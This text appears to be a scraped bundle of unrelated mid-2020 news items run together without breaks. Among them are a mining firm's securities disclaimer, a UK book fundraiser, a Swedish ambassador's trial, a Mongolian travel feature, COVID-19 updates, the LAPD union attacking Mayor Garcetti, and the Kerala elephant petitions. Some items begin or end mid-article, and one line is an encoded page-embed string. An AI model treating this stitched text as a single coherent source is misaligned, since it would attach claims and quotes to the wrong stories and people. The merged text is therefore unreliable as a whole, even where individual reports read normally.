Certain statements and information herein, including all statements that are not historical facts, contain forward-looking statements and forward-looking information within the meaning of applicable securities laws. Such forward-looking statements or information include but are not limited to statements or information with respect to: the size of the Offering, the expected participation of insiders in the Offering, the anticipated Closing Date and the receipt of regulatory approvals for the Offering. Often, but not always, forward-looking statements or information can be identified by the use of words such as will or variations of that word and phrases or statements that certain actions, events or results will, could or are intended to be taken, occur or be achieved.



With respect to forward-looking statements and information contained herein, the Company has made numerous assumptions including among other things, assumptions about general business and economic conditions, the prices of gold and copper, and anticipated costs and expenditures. The foregoing list of assumptions is not exhaustive.



Although management of the Company believes that the assumptions made and the expectations represented by such statements or information are reasonable, there can be no assurance that a forward-looking statement or information herein will prove to be accurate. Forward-looking statements and information by their nature are based on assumptions and involve known and unknown risks, uncertainties and other factors which may cause the Companys actual results, performance or achievements, or industry results, to be materially different from any future results, performance or achievements expressed or implied by such forward-looking statements or information. These factors include, but are not limited to: risks associated with the business of the Company; business and economic conditions in the mining industry generally; the supply and demand for labour and other project inputs; changes in commodity prices; changes in interest and currency exchange rates; risks relating to inaccurate geological and engineering assumptions (including with respect to the tonnage, grade and recoverability of reserves and resources); risks relating to unanticipated operational difficulties (including failure of equipment or processes to operate in accordance with specifications or expectations, cost escalation, unavailability of materials and equipment, government action or delays in the receipt of government approvals, industrial disturbances or other job action, and unanticipated events related to health, safety and environmental matters); risks relating to adverse weather conditions; political risk and social unrest; changes in general economic conditions or conditions in the financial markets; and other risk factors as detailed from time to time in the Companys continuous disclosure documents filed with Canadian securities administrators. The Company does not undertake to update any forward-looking information, except in accordance with applicable securities laws.
A fundraiser inspired by Black Lives Matter protests across the world aims to put diverse books into Britains primary schools.

The fund, which has raised over 6,000 since it was created on Wednesday, aims to help black, Asian and minority ethnic (BAME) students to feel represented by their school libraries.

Theres a lack of books in primary schools where not only can teachers teach the white students about these issues, but also the BAME students are severely under-represented in the books that they have, Scott Emmons, who created the fund, told the PA news agency.

The initiative was inspired by protests that have taken place across the world calling for justice after the death of George Floyd, who died in police custody in Minneapolis on May 25.

Can you help me to supply our primary schools with a selection of books that help our children learn about race.



To not only assist with funding for those that can't afford them but also be the spark that puts pressure onto those schools that can.



https://t.co/5sEtMG0jSP  Scotty - Representation Matters (@ScottyEmmons) June 5, 2020

Mr Emmons, 34, who lives in Wanstead, told PA: I went to the protest on Wednesday in Hyde Park and came away feeling so energised. There were so many people in Hyde Park who cared there are so many people wanting to change, wanting to help.

The fund will put bundles into libraries, which include 21 books for children aged three to 11, and include the stories of Nelson Mandela and Rosa Parks.

In 2018, a report from the Centre for Literacy in Primary Education revealed that over the course of the year, only 4% of childrens books published in the UK had a BAME hero.

If theres no literature there to start this conversation, and white teachers find it difficult to speak about, then these are the tools that allow you to have that conversation, Mr Emmons told PA.

Mr Emmons explained that he would like the initiative to go further than the GoFundMe page he has created, with the hope of schools tailoring the books to fit their own schools needs.

He said: The idea for this campaign is not to pay for everyones books, its to be that driving force and that spark to put pressure on schools to get these books in and allow the children in their classrooms to see themselves represented.

It isnt just a case of a lack of funding a lot of the schools do have the funding; theyre just not prioritising correctly. Theyre not purchasing the right books.

To see the pages donations, visit http://gofundme.com/f/help-our-children-read-about-race
According to a statement from FWD, existing customers and distribution channels of PTCL will not be affected by the change in ownership and all existing policies will continue to be honoured by PTCL.

With the deals completion, FWD will rename and rebrand the PTCL business, and it will also sign a 15-year life insurance distribution partnership with PT Bank Commonwealth (PTBC), Commonwealth Bank of Australias Indonesian banking business.

Were delighted to enhance our presence in Indonesia through this acquisition, said FWD Group CEO Huynh Thanh Phong. Indonesia is a priority market for FWD as we see huge potential for us to change the way people feel about insurance in this highly underpenetrated and rapidly growing market.

Were very pleased to partner with FWD in this important milestone and exciting journey, added PTBC president director for Indonesia, Lauren Sulistiawati. We share the same goal in digitalizing our services and processes to meet the evolving needs of our customers in the rapidly changing technological environment in which we now live.
Sweden's former ambassador to China went on trial in Stockholm on Friday accused of overstepping her mandate and risking national security by trying to negotiate the release of a dissident. Anna Lindstedt faces up to two years in prison if she is convicted of brokering an unauthorised meeting in January last year when she was ambassador. She was trying to secure the freedom of Chinese-born Swedish citizen Gui Minhai, who published gossipy titles about Chinese political leaders in a Hong Kong book shop. He has been in jail in China almost continuously since 2015. Lindstedt, a former envoy in both Vietnam and Mexico who acted as Sweden's chief negotiator at the 2015 climate summit in Paris, denies the charge. Prosecutor Henrik Olin laid out his case during Friday's hearing, telling the court: "Anna Lindstedt was at the time Sweden's ambassador to China, but acted outside the bounds of the mandate she had for the consular case." He said the crime had endangered Sweden's peaceful relations with China. But defence lawyer Conny Cedermark replied that the only part of the prosecution's description his client agreed with was that "Anna Lindstedt at the time was Sweden's ambassador in China". According to media reports, Lindstedt is expected to argue that she had informed her superiors of the meeting. Gui disappeared while on holiday in Thailand in 2015 before resurfacing in mainland China, where he was put in jail. A few months after his October 2017 release he was again arrested, this time while he was on a train to Beijing with Swedish diplomats. In February this year, he was given 10 years in jail on charges of illegally providing intelligence abroad. - 'Strange experience' - Lindstedt helped organise a meeting between Gui's daughter, Angela Gui, and businessmen with ties to Beijing. Angela Gui wrote in February 2019 on her blog about a "strange experience" where Lindstedt had invited her to Stockholm in January. During discussions in the lounge of a hotel in the Swedish capital, in the presence of Lindstedt, she was introduced to the businessmen who claimed they could help secure her father's release. In exchange, Angela Gui said she was told she "needed to be quiet" and to "stop all media engagement", and later described the tone of the meeting as "threatening". Sweden's intelligence service launched an investigation after reports of the meeting emerged. The foreign ministry subsequently removed Lindstedt from her post but she has stayed on at the foreign ministry without an assignment. The foreign ministry has meanwhile maintained that it had no prior knowledge of the meeting, saying Lindstedt acted of her own accord. Fellow diplomats have however rallied to Lindstedt's defence -- 21 former envoys criticising the ministry's decision to report Lindstedt to the police. They wrote in a February opinion piece in newspaper Dagens Nyheter that she had acted well within her rights and role as an ambassador. - Tense relationship - During the trial's first day, Olin set the stage by describing the prickly relations between Sweden and China in recent years. Criticism from Swedish officials and commentators over Beijing's treatment of Gui Minhai has been a thorn in the side of China, which insists that the matter is an internal affair. Olin also referred to several incidents in Sweden that have angered China's embassy in recent years, suggesting that Lindstedt's actions risked aggravating the already tense ties. Parts of the trial, which is set to run until June 22, will be held behind closed doors because of national security. Anna Lindstedt, a former envoy in both Vietnam and Mexico, denies she did anything wrong
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If you're in the market for an unforgettable eye-opening experience, I can highly recommend randomly meeting a nomadic family in Mongolia and getting a taste of their ancient way of life, which has scarcely changed for thousands of years.

I had an encounter with these hardy people last summer while I was on a trip driving across a roadless landscape from the Mongolian capital of Ulaanbaatar to the Gobi Desert. We had no GPS and employed knowledgeable locals to navigate the vast, primaeval terrain.

Nomads and semi-nomads make up about a third of the Mongolian population. These traditionalists are herders, typically keeping around 1,000 animals to survive, and they live in movable tents called 'gers', which stay cool during the stifling summers and warm in the freezing winters, when temperatures can plummet to -40C.

Steppe to it: MailOnline Travel's Sadie Whitelocks journeyed from the Mongolian capital of Ulaanbaatar to the Gobi Desert. She stopped at the above encampment during the bumpy drive

Sadie received a warm welcome from the family living at the camp. Above, from left to right, Serjinsuren, Ulzikhutag, grandma Daariimaa, Tumurbaatar and Senjinnamjil

A peek inside one of the gers where the Mongolian family sleep, complete with ornate furniture and a wood burner

Nowadays the nomads do benefit from a few mod cons, such as 4x4 vehicles, solar panels for energy and televisions, but for the most part their life is tied to living off the land.

Coming into contact with the nomads was a mixture of luck and local knowledge. We were making the long drive from the small town of Arvaikheer to the Khogno Khan Uul Nature Reserve with the bumpy off-roading journey set to take some nine hours.

In a bid to break up the journey our local guide, Odgerel - who cheerily told us to call her 'Odka like vodka' - suggested stopping to have tea with some nomads if we happened to spot a camp in the vast wilderness.

We'd been bumping along in a dust-covered people carrier for some five hours, with meek air conditioning seeping through the stuffiness. We'd wheeled over seemingly never-ending undulating hills, watched only by camels, goats and horses.

As luck would have it, just when several of us voiced the need for a toilet break, we wheeled around a corner close to a stream and a trio of tents came into view. Odka excitedly told us to stay put in our cars as she popped in to speak to the family living there - and amazingly they welcomed us in.

Before stepping into the camp, which featured two swanky-looking 4x4s parked outside and some motorbikes, we were introduced to 74-year-old grandma Dariimaa. It turned out she lived at the camp with her son, daughter-in-law and two grandsons.

In true Mongolian style, with hospitality being at the centre of things, we were welcomed into the family's main ger for a rest.

'You must have come a long way to find us!' Dariimaa said in her native tongue, followed by a toothless laugh, which made us all laugh too.

Odka asked the pensioner a few questions and we were told that the nomadic family had around 1,000 livestock and made their living by selling horses and camels occasionally and making products from their milk.

The Mongolian family showed Sadie how they collect horse milk. They milk the mares twice a day

While visiting the Mongolian family, Sadie was offered some dried milk curd snacks (left) and some traditional salted tea, known as suutei tsai (right)

Dariimaa's son, Tumubaatar, who was the spitting image of her, proudly showed us around the colourful abode.

Over the centuries, the Mongolian ger hasn't changed dramatically, with a stove in the middle of the circular structure and a roof vent. The movable shelters are generally built from wood and clad with felt for insulation. Nowadays, many are also kitted out with plastic coverings to help with water run-off.

During my visit to Mongolia temperatures were in the mid-to-high 20s. The door of the ger was open for ventilation as was the central roof vent and there was a cool breeze blowing.

Looking around the ger, it felt very homely with photos of the family stuck to a mirror atop an intricately painted wooden dresser.

There were dozens of little ornaments dotted around, including some porcelain elephants and one of Santa Claus.

Bunches of plastic flowers hanging from the ceiling rafters added to the dwelling's conviviality.

Within minutes we were offered some traditional salted tea. Known as suutei tsai, the beverage contains a blend of salt, milk, butter, millet, green tea and sugar.

I found the hot drink had quite an unusual flavour, being more on the savoury side than sweet and it left an oily film in my mouth.

Looking around the ger, Sadie said it felt very homely with photos of the family stuck to a mirror atop an intricately painted wooden dresser. There were dozens of ornaments dotted around, including some porcelain elephants and one of Santa Claus

Tumubaatar offered Sadie and her group snuff (left). She found the mare's milk a little hard to stomach (right)

Grandma Dariimaa ventured out to greet Sadie and her travelling party (left), while her son Tumubaatar showed everyone around the ger (right)

To accompany the tea, Tumubaatar offered us some chunks of dried milk curd.

I found it a little hard to stomach this traditional snack, known as aaruul. It had a musty Parmesan flavour mixed with the aromas of a farmyard, and I discreetly put the remainder of the dairy nugget into my pocket.

Tumubaatar's wife, Ulziikhutag, got increasingly excited by the prospect of having visitors and she returned from her kitchen ger with a plate of buttermilk. This is the congealed film that is skimmed off a boiling cauldron of mixed milk, from goat, sheep and camel.

Unlike the dried milk curd, this gooey pancake-like dish was kinder on the palate, with a creamy almost custard-like taste.

But the nice taste was soon disrupted by the next offering put before me - fermented mare's milk, or airag as it is locally known.

The thick liquid tasted slightly like yoghurt past its sell-by date, with a sharp flavour and slight fizz.

Asked how they get the mare's milk, Ulziikhutag excitedly led us outside with one of her sons and took us to her pack of horses, where she gave us a milking demonstration.

Ulziikhutag prepares some buttermilk, which is the congealed film skimmed off a boiling cauldron of mixed milk, from goats, sheep and camel

Tumubaatar and his Ulziikhutag stop to pose for a photograph with some of their horses and two sons

An example of the terrain Sadie navigated while venturing through Mongolia on a 14-day tour

She made it look exceedingly easy but after my Mongolian horse ride earlier in the trip had turned into a galloping fiasco, I didn't fancy my chances at grabbing a teat.

We returned to the main ger where, as a final favour, Tumubaatar offered us snuff.

I sprinkled a little bit of the dusty looking powder from the heavy glass vessel on to the back of my hand and proceeded to give it a sniff.

Its purpose is to make you feel relaxed, but instead it triggered a sneezing fit. I felt like I'd inhaled pepper.

After taking another gulp of salted tea to help clear my nostrils we bid the family goodbye. There was still another four hours of driving to go to our next stop.

Andrea, one of the women in our touring party, noted: 'If someone came to my door in London I'd never welcome them in for tea.'

I guess that's one of the extraordinary things about Mongolia that will stay with me.

The kindness of strangers in a foreign land, speaking the same language through smiles, shared snacks and snuff.

The FCO currently advises British nationals against all but essential international travel.
LITCHFIELD  The emerald ash borer, which was first reported in 2012, has decimated thousands of ash trees across New England and other parts of the country.

In Lichfield, Public Works Director and Tree Warden Raz Alexe is preparing members of his team to start cutting down trees affected by the insect that are in the public right of way. Alexe discussed his plan with the Board of Selectmen during a recent meeting.

We have more than 1,200 ash trees affected by the ash borer, Alexe said. (Connecticut General Statute) Sect. 23-59 allows me to make safety calls on these trees.

Section 23-59 gives a town tree warden authority to remove trees affected by fungus or insects and that are considered a nuisance or danger. Alexe sought and received approval from the board this week to begin removing trees this summer.

I got advice from (town) attorney Mike Rybak on this, before bringing it to the board, he said.

According to a story by columnist Robert Miller, published in the New Haven Register in March, in 1904, the chestnut blight arrived in North America from Asia. The fungal disease started killing one of the great trees in the woods, largely wiping them out by the 1940s. In 1928, the Dutch elm disease  from Asia, as well, despite its name  arrived. By the 1960s the states beautiful urban landscape, shaded by arching elms, was gone.

Ironically, what used to be elms were replaced by the ash, Claire Rutledge, an assistant agricultural scientist at the entomology department of the Connecticut Agricultural Experiment Station in New Haven, said of the choices made in city landscaping, according to Millers report.

Its unclear whether the ash will return to Connecticut in full, or like the chestnut and elm, hang on as a sort of invalid, stunted species. But because of increased global travel and commerce, there is an urgent awareness that the government, and private industry  growers, importers, shippers, inspectors, buyers  must increase their vigilance, lest a fourth forest plague arrive. Experts say these pests cost the U.S. economy $5 billion a year. But Gary Lovett, a forest ecologist at the Cary Institute of Ecosystem Studies in Millbrook, N.Y., said the loss shouldnt just be measured by economic measures. It should also be measured by the loss in biodiversity.

Selectman Tom Waterhouse said he spoke with Lewis Tree Service, a national company, which was doing tree trimming and removal in Northfield. Lewis Tree works for utility companies to trim tree limbs near power lines. They said theyll mark all the trees that need to come down, then notify the property owners and ask them if they want them taken down, he said. So theyre not swooping in and taking your favorite tree down.

We had a situation a few years ago where a 125-year-old tree was cut down, and it was done at the request of the property owner, but she didnt have rights to the tree. There was nothing wrong with it it was totally healthy.

Selectman Jeff Zullo asked how the tree removal would be done. So if you see a dead ash tree and it looks suspicious, or its potentially going to fall down, you can just go and take them down without notice? he asked.

Well knock on the door and tell them what were doing, Alexe said. Sometimes the property owners not home. But we go to a certain street at a time, and so we have the ability to skip a tree, and we dont proceed until we tell the owner.

A notice will also be put on the tree, Alexe said.
By Associated Press

BERLIN: German authorities say a Catholic priest who came into contact with many people during church services in several cities has tested positive for the COVID-19 virus.

The dpa news agency reported Friday that health authorities in the state of Mecklenburg-Western Pomerania said the priest was involved in services in Demmin, Stralsund and Grimmen, among other places.



CLICK HERE FOR COVID-19 LIVE UPDATES

Regional church authorities said on their website that all church services in Demmin and Stralsung were being called off until June 21 while authorities seek out anyone who had contact with the priest.

So far one other person has tested positive for the virus and many others are still awaiting the results.

Results for 130 tests are expected by Saturday at the latest and so far 12 people have been told to isolate themselves at home as a precaution.
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In a stern rebuke, the union that represents the Los Angeles Police Department lashed out at Mayor Eric Garcetti today over budget cutbacks and his comments labeling officers as "killers." The union also called into question the mayor's mental fitness to lead the city through crisis.

On Friday, speaking at a press conference live-streamed on Facebook, Jamie McBride, director of the L.A. Police Protective League, said: "We're here to warn the citizens and residents of Los Angeles that we're worried and concerned about Eric Garcetti. He's clearly unstable. We are worried about him and worried about his future, and the safety of our citizens. He is more interested in his image and how he's looked upon, as opposed to being a leader in difficult times."

Activists and community groups, including Black Lives Matter, have taken to the streets to protest years of police brutality and discrimination. The current unrest was sparked by the killing of George Floyd by Minneapolis police, but resentment has been simmering for years. Many activists have pointed out that police violence is not necessarily on the rise. Instead, they say social media and the ubiquity of smartphones and video cameras has simply brought it to light.

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Under pressure from protesters, whose demands include a radical defunding of police, Garcetti earlier this week called for cuts of up to $250 million from the city's budget, including the LAPD, and the reallocation of that money to programs that reinvest in communities of color. Yesterday, speaking at the First AME Church in Los Angeles, he defended his decision and framed it as an important step in tackling police brutality across the nation.

"Los Angeles not only can lead, we must lead," Garcetti said. "I got calls from mayors around the country, some of them saying 'I'm so excited,' and other ones saying, 'What the hell'd you do? Now I gotta shift money.' That's the point. It starts someplace, and we say we are going to be who we want to be, or we're going to continue being the killers that we are."

During his press conference on Facebook, McBride called the mayor's remarks "offensive," "wrong," and "suspicious," and said Garcetti will "say and do anything to get people to like him."

"We are honestly concerned about his mental health, and I think that he should seek some help, and maybe have someone to talk to, a counselor or something, and reflect on some of his decisions, reflect on his ability to lead the city and keep the citizens safe," said McBride, a 30-year LAPD veteran.

Garcetti told NBC4 today: "I wasn't speaking in the way that [the union] would twist it around. And I'll push back against anybody. I said all of us, meaning 100% of us as Americans, we make a choice to allow death to happen in this country."

McBride claimed Garcetti directed what many called an overly aggressive response to protesters in the Fairfax District last weekend, when patrol cars were burned and officers opened fired on protesters with rubber bullets and tear gas.

He said "his understanding" was that LAPD Chief Michel Moore was taking direction from the mayor on many of the tactical decisions during the protests. In responding to a reporter's question, McBride said he felt those decisions were politically motivated. He said a police chief can easily become a "political puppet" because they are appointed by a democratically-elected mayor.

The union has "lost confidence in [the mayor's] ability to manage this crisis, to keep the citizens of Los Angeles safe. So there's no vote of confidence required -- we've already lost the confidence," McBride said.

McBride argued that the LAPD has implemented "virtually all" of the recommendations laid out by President Obama's Task Force on 21st Century Policing, launched after the police shooting death of Michael Brown in Ferguson, Missouri.

He said cuts to the police department will make the community less safe, leading to delayed response times to 911 calls, causing "crime to go out of control," and delays in investigating crimes.

He also said a lot of officers have been hurt while trying to keep the peace at the protests. Critics of the police response have pointed out that officers have at times escalated the situation themselves by striking or using rubber bullets to shoot unarmed, peaceful protesters and media. LAist's own reporters are among those who have been shot, tear-gassed, and had guns pointed at them.
San Francisco, June 5 : Facebook on Thursday said it has removed two vast fake networks that originated in Iraq and Tunisia who were involved in coordinated inauthentic behaviour (CIB).

In Iraq, Facebook removed 324 Pages, 71 accounts, 5 Groups and 31 Instagram accounts.

This activity originated in the Kurdistan region of Iraq and used fake accounts to post in Groups, impersonate local politicians and political parties, and manage Pages masquerading as news entities.

"Our investigation connected this activity to individuals associated with Zanyari Agency, part of the intelligence services of the Kurdistan Regional Government in Iraqi Kurdistan," Facebook said in a statement.

In Tunisia, Facebook removed 446 Pages, 182 Facebook accounts, 96 Groups, 60 events and 209 Instagram accounts.

This activity originated in Tunisia and focused on Francophone countries in Sub-Saharan Africa.

"Some Pages engaged in deceptive audience building tactics changing their focus from non-political to political themes including substantial name and admin changes over time. We found this network as part of our internal investigation which linked this activity to a Tunisia-based PR firm Ureputation," informed the social networking giant.

In 2019, Facebook took down over 50 networks worldwide for engaging in coordinated inauthentic behaviour, including ahead of major democratic elections.
Marie D. De Jesus, Houston Chronicle / Staff photographer

Despite President Donald Trump's threat to send the U.S. military into states to deal with protesters in the wake of the killing of Houston native George Floyd, Gov. Greg Abbott says Texas will not request that kind of intervention.

Meantime, Lt. Gov. Dan Patrick brings up God and Jesus in response to questions about military leadership's rebuke of President Trump's threat to use troops in the streets of American cities.
In order to bring justice, several people across the world have expressed their outrage over the inhumane killing of a pregnant elephant in Kerala. In less than 24 hours, as many as 927 petitions have been filed on the petition website Change.org. Along with it, over 13 lakh people have signed the petitions demanding the perpetrators of this cruel act be punished.

A citizen from Oman Kamal Ganatra urged for rigorous sentencing with hefty fines in his petition. His petition which has been supported by 5.6 lakh people in a day stated, "Perhaps a more important question to ask right now is why we hear news about so many voiceless deaths and not enough about prosecutions? The law in India does not give long prison sentences for wildlife crimes. A sense of fear should be spread amongst people who might become killers of these innocent living beings. Convictions for wildlife killing must receive rigorous sentencing with hefty fines."

Meanwhile, another petitioner of the platform-- a resident of Thane Nikhil Suryawanshi has demanded to slap a murder charge against the perpetrators of the gruesome crime. His petition that has been signed by over 2.30 lakh people stated, "I was deeply hurt and angry when I read about the pregnant elephant brutally killed in Kerala. As I wanted to do something about this and wanted the offenders to get punished, I shared my thoughts with my sister who is an advocate. She told me to create a petition on Change.org."

Similarly, Bangalore-based Aparajita said in her petition "It broke my heart...the innocent animal fell victim to an act of human cruelty. As she bit into the pineapple, it exploded in her mouth. We cannot let these voiceless animals suffer like this anymore. Strict action should be taken against the culprits." Another petition by Meera Kant that is seeking criminal charges has been signed by over three lakh people. Along with it, people from the US, UK, France, Australia have also issued petitions on the issues. Some of the petitions have also drawn support from celebrities on social media.

Read: Wildlife expert condemns death of elephant, says responsibility of action lies with state

First arrest by Kerala Forest Department

The Kerala Forest Department has made an arrest in the case of the horrific killing of a pregnant elephant last month in a forest area in Palakkad district. In a tweet, the forest department confirmed the "major breakthrough!" and said, "KFG has zeroed on the culprits and recorded the first arrest in the wild elephant death case."

Major breakthrough!



KFD has zeroed on the culprits and recorded the first arrest in the wild elephant death case.  Kerala Forest Department (@ForestKerala) June 5, 2020

Read: 'Suspects being interrogated, SIT set up': Kerala Forest department in elephant death case

The pregnant elephant died in Silent Valley Forest in Malappuram after a local allegedly fed her a pineapple stuffed with crackers on May 27. Her jaw was broken and she was unable to eat after she chewed the pineapple and it exploded in her mouth. The elephant was seen standing in the river with its mouth and trunk in the water for some relief from the pain after the explosive-filled fruit exploded in its mouth.

Read: Kerala Elephant Death: Kerala CM assures justice; says investigation is underway

Read: Kerala: Pregnant elephant dies in river after being fed pineapple filled with crackers
Finance Minister of Ukraine Serhiy Marchenko has denied the presence of the "guaranteed minimum income" term in the draft memorandum with the International Monetary Fund (IMF), adding that the document deals with reforming the tax and customs services into single legal entities and the first tranche from the IMF will amount to $2.1 billion.

"Reform of the tax system [envisaged by the memorandum] provides for creating a single legal entity in the State Tax Service and the State Customs Service This is what we would do with the IMF or without the IMF," he said in the Pravo na Vladu (The Right to Power) program on the 1+1 TV channel on Thursday night.

The minister also said that the memorandum includes a term on the preservation of independence of the National Bank of Ukraine.

He noted that the document does not demand the privatization of any enterprises.

Earlier it was expected that the first tranche of $1.9 billion will be allocated as soon as the IMF Executive Board approves the program. A meeting of the IMF Executive Board on the approval of a new Stand-By Arrangement for Ukraine is scheduled for June 9.
I carried my grass seeds with me past the Serra, down the path into the woods below, to see my favorite work, Andy Goldsworthys 2007 Clay Houses, which were closed. On my way back, I again passed the Pavilions where, if you stood on tiptoe, you could see that there were waterflowers in bloom in the aquatic courtyard below. But there was no access to the courtyard, and so no one was sitting on the bench that juts out into the pond, a popular spot that is so detached from the ordinary world, so lost in its own perfect little vision of water and sky, that twos a crowd.
The latest:

Nearly 1.9 million people applied for U.S. unemployment benefits last week, evidence that many employers are still cutting jobs even as the gradual reopening of businesses has slowed the pace of layoffs.

The total number of people who are receiving jobless aid rose slightly to 21.5 million, down from a peak of nearly 25 million two weeks ago but still at a historically high level. It shows that scattered rehiring is offsetting only some of the ongoing layoffs with the economy mired in a recession. Thursday's latest weekly number from the Labor Department is still more than double the record high that prevailed before the viral outbreak.

Still, the number of people who applied for benefits last week marked the ninth straight decline since applications spiked in mid-March. The job market meltdown that was triggered by the coronavirus may have bottomed out as more companies call at least some of their former employees back to work.

Governor calls for COVID-19 testing for demonstration attendees

Minnesota Gov. Tim Walz said that anyone who demonstrated should receive a test for COVID-19.

Protests in Minneapolis have sparked crowds across the U.S. over the death of George Floyd, who died after a white officer pressed his knee to his neck for over eight minutes.

If you think youve been exposed, get a test 5 days after the event. If that test turns up negative, get tested again 14 days after the event, Walz said on Twitter.

If you start to experience symptoms, get tested right away, he added.

Malaria drug fails to prevent COVID-19 in a rigorous study

A malaria drug President Donald Trump took to try to prevent COVID-19 proved ineffective for that in the first large, high-quality study to test it in health workers and others closely exposed to people with the disease.

Results published Wednesday by the New England Journal of Medicine show that hydroxychloroquine was no better than placebo pills at preventing illness from the coronavirus. The drug did not seem to cause serious harm, though  about 40% on it had side effects, mostly mild stomach problems.

We were disappointed. We would have liked for this to work, said the study leader, Dr. David Boulware, an infectious disease specialist at the University of Minnesota. But our objective was to answer the question and to conduct a high-quality study, because the evidence on the drug so far has been inconclusive, he said.

Hydroxychloroquine and a similar drug, chloroquine, have been the subject of much debate since Trump started promoting them in March. Hydroxychloroquine has long been used for malaria, lupus and rheumatoid arthritis, but no large studies have shown it or chloroquine to be safe or effective for much sicker patients with coronavirus, and some studies have suggested the drugs may do harm.

Trump took a two-week course of hydroxychloroquine, along with zinc and Vitamin D, after two staffers tested positive for COVID-19, and had no ill effects, according to results of his latest physical released by his doctor Wednesday.

Federal regulators have warned against their use except in hospitals and formal studies because of the risk of side effects, especially heart rhythm problems.

Boulwares study involved 821 people in the United States and Canada living with someone diagnosed with COVID-19 or at high risk of getting it because of their job  doctors, nurses, ambulance workers who had significant exposure to a sick patient while not wearing full protective gear.

They were randomly assigned to get either placebo pills or hydroxychloroquine for five days, starting within four days of their exposure. Neither they nor their doctors knew who who was getting what.

After 14 days in the study, 12% on the drug developed COVID-19 symptoms versus 14% in the placebo group, but the difference is so small it could have occurred by chance, Boulware said.

Theres basically no effect. It does not prevent infection, he said of the drug. Even if it were to give some slim advantage, wed want a much larger effect to justify its use and risk of side effects for preventing illness, he said.

Results were no different among a subgroup of participants who were taking zinc or vitamin C, which some people believe might help make hydroxychloroquine more effective.

This fits with everything else weve seen so far, which suggests that its not beneficial," said Dr. Peter Bach, director of a health policy center at Memorial Sloan Kettering Cancer Center in New York.

This study was in younger relatively healthy people, but the results would make me very discouraged about trying to use this in older people who are most vulnerable to serious illness from the coronavirus, Bach said. If it does work, it doesnt work very well.

Dr. Dan Culver, a lung specialist at the Cleveland Clinic, said theres still a chance that giving the drug sooner than four days after someones exposure to the virus may help prevent illness.

But the study takes home run off the table as far as hopes for the drug, he said.

ER visits for non-Covid cases dropped 42% during the pandemic, CDC says

The Centers for Disease Control and Prevention warns that some people may be putting off emergency care for serious health conditions during the coronavirus pandemic  and fewer visits for critical conditions could result in complications or even death.

During the pandemic, the total number of visits to hospital emergency departments across the United States for conditions other than COVID-19 was 42% lower than during this same time last year, according to a new CDC report.

The research, published in the CDC's Morbidity and Mortality Weekly Report on Wednesday, found that emergency department visits fell from about 2.1 million visits per week between March 31 and April 27 last year to 1.2 million between March 29 and April 25 this year.

The "steepest decreases" were among children 14 and younger, women and girls, and people living in the northeast region of the country, CDC researchers noted. For instance, in 2019, 12% of all emergency department visits were in children 10 and younger, compared with 6% during the same time period this year.

Yet overall, "the proportion of infectious disease-related visits was four times higher during the early pandemic period," according to the report.

Fauci weighs pros, cons of reopening schools this fall

The idea of keeping schools closed in the fall because of safety concerns for children might be "a bit of a reach," said Dr. Anthony Fauci, director of the National Institute of Allergy and Infectious Diseases.

In a phone interview with CNN Wednesday, Fauci noted that children tend to have milder symptoms or even no symptoms when they are infected with COVID-19.

What's not yet clear is whether children get infected as frequently as adults, and whether they often pass the infection on to others. Ultimately, he said, the decision to reopen schools needs to be predicated on the level of infection in each community.

In the past academic school year, 48 states recommended schools close through the rest of the year as coronavirus began its rapid spread.

"When you talk about children going back to school and their safety, it really depends on the level of viral activity, and the particular area that you're talking about," Fauci said. "What happens all too often, understandably, but sometimes misleadingly, is that we talk about the country as a whole in a unidimensional way."

Fauci seemed to think that keeping schools closed in general is not necessary.

"Children can get infected, so, yes, so you've got to be careful," Fauci said. "You got to be careful for them and you got to be careful that they may not spread it. Now, to make an extrapolation that you shouldn't open schools, I think is a bit of a reach."

Fauci said it's not premature to start the conversation about reopening schools now. "I think we need to discuss the pros and the cons of bringing kids back to school in September," he said.

Stressing the importance of not generalizing, Fauci laid out the spectrum of scenarios for what a return to school in the fall could look like.

"In some situations, there will be no problem for children to go back to school," he said. "In others, you may need to do some modifications. You know, modifications could be breaking up the class so you don't have a crowded classroom, maybe half in the morning, half in the afternoon, having children doing alternate schedules. There's a whole bunch of things that one can do."

Talking about classroom layouts specifically, Fauci underscored the need to "be creative" and create plans based on the degree of infection in the community.

He suggested that one option is to space out children at every other desk, or every third desk in order to maintain proper social distancing.

When we go back to eating out, more of us will pay with our phones

Major restaurant chains are trying to make it easier for customers to get their food without touching anything but their own phones.

It's a trend that started before the pandemic hit and has only accelerated as consumers and restaurants adjust to a new normal, where contact with others is discouraged. Now, restaurants are betting people will want to peruse digital menus instead of physical ones and opt for mobile ordering rather than paying at the register with cash or credit card.

"The handling of cash creates consumer concerns about the spread of viruses," Starbucks CEO Kevin Johnson wrote in an open letter in early May describing the company's plan to reopen. He noted that Starbucks is adding new features to its app to include voice ordering through Siri and more opportunities for rewards. The app already shows which restaurants have mobile order and pickup so that customers can plan their visits and manage expectations before they get to the store.

Johnson predicted that "the mobile app will become the dominant form of payment."

W2lmcmFtZSBzcmM9Imh0dHBzOi8vZDJjbXZicTdzeHgzM2ouY2xvdWRmcm9udC5uZXQvZW1haWwvcHJvZF9jb3JvbmF2aXJ1c19pZnJhbWVfYXJ0aWNsZS5odG1sIiBoZWlnaHQ9IjQxNCIgc3R5bGU9IndpZHRoOjEwMCU7Ym9yZGVyOm5vbmU7b3ZlcmZsb3c6aGlkZGVuIiBzY3JvbGxpbmc9Im5vIiBmcmFtZWJvcmRlcj0iMCIgYWxsb3dUcmFuc3BhcmVuY3k9InRydWUiXVsvaWZyYW1lXQ==

The Associated Press contributed to this report.
The SOP issued on Thursday aims to streamline the process for handling of Covid-19 positive/suspect patients in the hospitals and includes activities which are needed to be carried out right from the time the patient reaches the hospital to the time he is discharged. The reception of the Covid patient, according to the SOP, should be completed within 15 minutes, following which a doctor must attend ...

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Perpetual optimism is a force multiplier.  Colin Powell, former U.S. National Security Adviser.



True to this visionary statement, U.S. telecom firms seem to have never lost hope and remained confident about continuing their 5G deployment process across the country despite disruptions caused by the coronavirus pandemic. However, they acknowledged that the momentum is likely to be hampered in some cities due to longer approval time for infrastructure setups, like small cells, as well as other necessary permits and changes. In addition, remote working procedures due to social-distancing measures and temporary closures of permitting offices are likely to somewhat delay the process.



The seeds of optimism appear to have borne fruit as the virus outbreak highlighted the need for high-speed, high-bandwidth and low-latency connections  the hallmarks of the 5G network  for digital sustainability. Despite certain impediments, telecom firms have relentlessly provided the vital lifeline to countless humans as virtual communication replaced in-person exchanges with social distancing and the work-from-home option in vogue. The firms have worked in unison to effectively handle the upsurge in data traffic, prompting even the top administration to remain effusive about their contribution in the hour of crisis.



